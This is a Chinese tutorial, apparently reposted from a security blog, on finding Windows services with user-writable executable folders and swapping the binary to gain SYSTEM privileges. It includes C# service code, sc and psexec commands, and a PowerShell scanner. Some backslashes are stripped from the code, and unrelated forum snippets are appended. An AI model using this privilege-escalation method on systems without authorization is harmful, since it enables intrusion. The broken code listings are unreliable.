使用PowerShell找到可写的Windows服务并利用

本文讲的是使用PowerShell找到可写的Windows服务并利用,从DidierStevens的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个powershell脚本,用来寻找可被替换的服务,实现自动化利用。

0x01 简介

本文将要介绍以下内容:

· 使用c#编写可供Windows服务调用的程序

· psexec的-i参数使用技巧

· sc命令使用技巧

· 通过powershell获取服务对应的可执行文件路径

· 自动化利用脚本开发细节

0x02 使用c#编写可供Windows服务调用的程序

可供Windows服务调用的程序需要能够同SCM(Services Control Manager)进行交互,所以在程序编写上需要注意

Didier Stevens在博客中给出了c#开发的模板,代码如下:

using System.ServiceProcess;
 
namespace Demo
{
    public class Service : ServiceBase
    {
        protected override void OnStart(string[] args)
        {
            System.Diagnostics.Process.Start("cmd.exe");
        }
    }
 
    static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }
}

由于是c#代码,可以直接用csc.exe进行编译

所以在实际使用的过程,不需要提前编译好exe,只需要将cs脚本上传,再使用csc.exe编译成exe即可

0x03 sc命令使用技巧

查询所有服务列表:

sc query

查询指定服务配置信息:

sc qc 服务名

创建服务:

sc create Test type= own binpath= c:\test\test.exe

删除服务:

sc delete 服务名

0x04 通过powershell获取服务对应的可执行文件路径

Didier Stevens在博客中说他朋友找到了一个可写的Windows服务,并且只需要普通用户权限,于是,自然就想到了我们自己能否也找到这个服务

通过sc query能够列举出所有服务名称,再通过sc qc 服务名 查询到该服务对应的可执行文件路径

例如:sc qc eventlog

如下图,eventlog服务对应可执行文件路径为C:\Windows\System32\svchost.exe

可以手动去查找每个服务对应的可执行文件路径,看是否存在符合要求的路径(即普通用户可写的权限)

当然,该过程耗时耗力,最好通过编写程序来实现

在Windows系统下,最简单高效的开发语言还是powershell,于是决定使用powershell来实现自动化判断

但是,sc这个命令不能直接在ps里面运行,ps会把它当作set-content的别名

解决方法:

调用WMI来实现,代码如下:

Get-WmiObject win32_service | select Name,PathName

如下图,能够列举服务和对应的可执行文件路径

0x05 自动化利用脚本开发细节

下面介绍自动化脚本的开发细节,思路如下:

列举出服务和对应的可执行文件路径后,对每一个路径进行提取,判断该路径是否具有普通用户可写的权限

1、获取所有可执行文件路径

Get-WmiObject win32_service | select Name,PathName

2、将可执行文件路径转换为数组

$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}

数组范围:

$out[0]$out[($out.Count-1)]

如下图

3、截取路径,显示单个数组的文件夹

$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny(""))

如下图

4、为了格式统一,将字符串都转换为大写

$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny(""))

5、枚举所有截取过的文件夹

使用foreach循环:

foreach ($item in $out){$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))}

如下图

也可使用for循环:

for($i=0;$i -le $out.Count-1;$i++){$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))}

6、获取文件夹权限

$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))Get-Acl -Path $a |select Owner

以下三个权限代表管理员权限,不符合要求:

· NT AUTHORITY\SYSTEM

· NT SERVICE\TrustedInstaller

· BUILTIN\Administrators

因此要对其剔除,剩下的权限代表当前用户,对应代码为:

If($a.Owner -ne "NT AUTHORITY\SYSTEM"){If($a.Owner -ne "NT SERVICE\TrustedInstaller"){If($a.Owner -ne "BUILTIN\Administrators"){$a.Owner   }}}

7、筛选符合条件的服务后,重新查找,找到当前用户权限对应的服务名称和路径

Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName

8、如果在系统未找到可利用的服务,脚本会报错,提示不能对 Null 值表达式调用方法

如下图

使用$ErrorActionPreference="SilentlyContinue"隐藏错误信息,错误信息写入$Error变量

综上,对输出格式进行优化,完整代码如下:

$ErrorActionPreference="SilentlyContinue"$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}for($i=0;$i -le $out.Count-1;$i++){$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny(""))If($a.Owner -ne "NT AUTHORITYSYSTEM"){If($a.Owner -ne "NT SERVICETrustedInstaller"){If($a.Owner -ne "BUILTINAdministrators"){Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,StatusWrite-host Owner: $a.Owner}}}}Write-host [+] All done.

0x06 实际测试

1、手动创建服务Test

sc create Test type= own binpath= c:\test\test.exe

2、编译生成exe

using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start("calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}

保存为test.cs

使用csc.exe编译:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

生成test.exe

3、启动服务

sc start Test

查看进程,能够看到calc.exe进程启动,权限为system,如下图

4、替换test.exe

在实际情况,如果没有获得管理员权限,那么无法启动和停止服务

如果不停止服务,就无法直接删除exe,提示拒绝访问

但可以将该文件重命名,相当于变相删除该文件,将新文件再命名为test.exe

rename test.exe test2.exe

这样就可以在不停止服务的情况下实现文件替换,如下图

5、重启服务

sc stop Testsc start Test

当然,该操作需要管理员权限

6、psexec的-i参数使用技巧

由于服务启动的exe为system权限,默认为session 0,而用户界面为session 1,所以看不到启动的exe界面

可通过psexec指定启动exe的session,这样就能获取到程序界面

test.cs修改如下:

using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start(@"c:testpsexec.exe", @"-accepteula -d -i 1 calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}

停止服务: sc stop Test

删除文件: del test.exe

编译文件: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs

将psexec保存在c:test

启动服务: sc start Test

此时,能够看到system权限calc.exe的界面,如下图

7、使用powershell脚本扫描

如下图,标记出服务命令和可供替换的路径,便于进行替换

该脚本能够自动判断当前系统是否存在可供利用的服务

0x07 小结

如果找到了一个普通用户权限可写的Windows服务,对其可执行文件进行替换,那么在服务重启后,就能以system权限执行替换后的文件,可用作提权。

本文开源的脚本可用来自动查找当前系统是否存在普通用户权限可写的Windows服务,站在防御者的角度,也可以用该脚本测试自己的系统。

原文发布时间为:2017年9月12日

本文作者:3gstudent 

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-10-26 20:27:21

使用PowerShell找到可写的Windows服务并利用的相关文章

服务器-C#写的windows服务,无法启动

问题描述 C#写的windows服务,无法启动 在我的电脑上安装启动,没有任何问题 将程序拷到服务器上,安装可以,启动时出现问题 错误1053:服务没有及时响应启动或控制请求 解决方案 找到了解决的方法,具体原因不清楚,我是安装了一个.net framework 4.6 之后重新启动 ok 解决方案二: http://www.cnblogs.com/couhujia/archive/2009/04/28/1445610.html 解决方案三: c#写windows 服务C#写Windows服务C

自己写的windows服务 无法安装 然后在任务管理器上面一直显示正在启动 也无法关闭

问题描述 自己写的windows服务 无法安装 然后在任务管理器上面一直显示正在启动 也无法关闭 自己写的windows服务 无法安装 然后在任务管理器上面一直显示正在启动 也无法关闭 ,但是里面的进程却一直在运行 解决方案 自己顶一下也要10个字符 好麻烦啊 解决方案二: 这是因为你的代码中没有正确的设置服务的运行状态,你的代码是不是死循环了.

求高手相助:Java写的windows服务,在windows2003上......

问题描述 Java写的windows服务,使用本地系统身份登录,在windows2003上:代码pro=Runtime.getRuntime().exec("cmd/ctime14:20:20");pro.waitFor();可以运行成功代码pro=Runtime.getRuntime().exec("cmd/cdate2011-02-23");pro.waitFor();运行起来,进程就死在这,不往下执行了. 解决方案 解决方案二:顶楼,坐等高人回复解决方案三:有

我用批处理写的windows服务启动不了哪位大神知道怎么解决不

问题描述 我用批处理写的windows服务启动不了哪位大神知道怎么解决不,提示本地计算机上的服务启动后停止.某些服务在未由其他服务或程序使用时将自动停止 解决方案 解决方案二:你试试手动启动指定的服务解决方案三:应该是你的服务报错了啊,加一些诊断log看看------------------------------------------------------------------------------------------------解决方案四:记录你的程序执行了哪些步骤的程序之后才跳

解决python写的windows服务不能启动的问题_python

报"服务没有及时响应或控制请求"的错误,改用pyinstaller生成也是不行:查资料后修改setup.py如下即可,服务名.脚本名请自行替换: 复制代码 代码如下: #!/usr/bin/python  #-*-coding:cp936-*-from distutils.core import setupimport py2exe class Target:    def __init__(self, **kw):        self.__dict__.update(kw)   

c++-自己编写的一个windows服务不能启动

问题描述 自己编写的一个windows服务不能启动 我用C++编写了一个简单的windows服务,服务的任务是服务启动后向文件中循环写入文字,我的服务可以安装,但是启动时会显示本地计算机上的 xx服务启动后停止,我的电脑加入了公司的域,请问跟加域有关系吗? 解决方案 你是不是把代码逻辑写在OnStart里面了?你需要在OnStart中启动一个线程,并且用死循环保持住线程,将真正的逻辑写在里面. 解决方案二: 当然,否则OnStart执行完,没有保持住的线程,程序就停了.你可以google一些别人

link环境下使用cidefirst制作的《网盘软件》,每日备份需要编写windows服务?

问题描述 link环境下使用cidefirst制作的<网盘软件>,每日备份需要编写windows服务? link环境下使用cidefirst制作的<网盘软件>,每日备份需要编写windows服务,是什么意思? 解决方案 说的是,如果你要实现一个日常备份,你可以把程序写在一个windows 服务里.

通过SSIS监控远程服务器Windows服务并发送邮件报警!

原文:通过SSIS监控远程服务器Windows服务并发送邮件报警!      利用SSIS不仅可以做BI项目的ETL,而且还可以做一些系统监控和维护工作,由于之前供应商写的Windows服务是读取ESB的消息进行处理,且通过OA流程与访客系统进行了集成,无论是ESB出现状况,还是Windows服务出现状况,都会对访问系统造成严重影响,导致内部员工无法进行接待外部人员,因此整体对ESB进行优化,在本人博客的前一篇已介绍了<通过SSIS监控远程服务器磁盘空间并发送邮件报警!>.本文实现的方法思路与

如何利用windows服务定时访问一个页面

问题描述 如题.我想每天早上固定一个时间自动打开某一个页面.如何实现. 解决方案 解决方案二:是想写一个windows服务,还是利用windows任务计划?要是写windows服务,应该先设计一个数据库,把固定的执行时间写进去,然后加一个timer,让它隔几秒就读一次,当执行时间到了,就做两步工作:1.执行打开网页(具体代码可以去google一下)2.把数据库中的执行时间自动加一天解决方案三:大哥,如果用windows服务怎么做啊,麻烦能讲的具体点吗?谢谢了.真的急.救命的.解决方案四:wind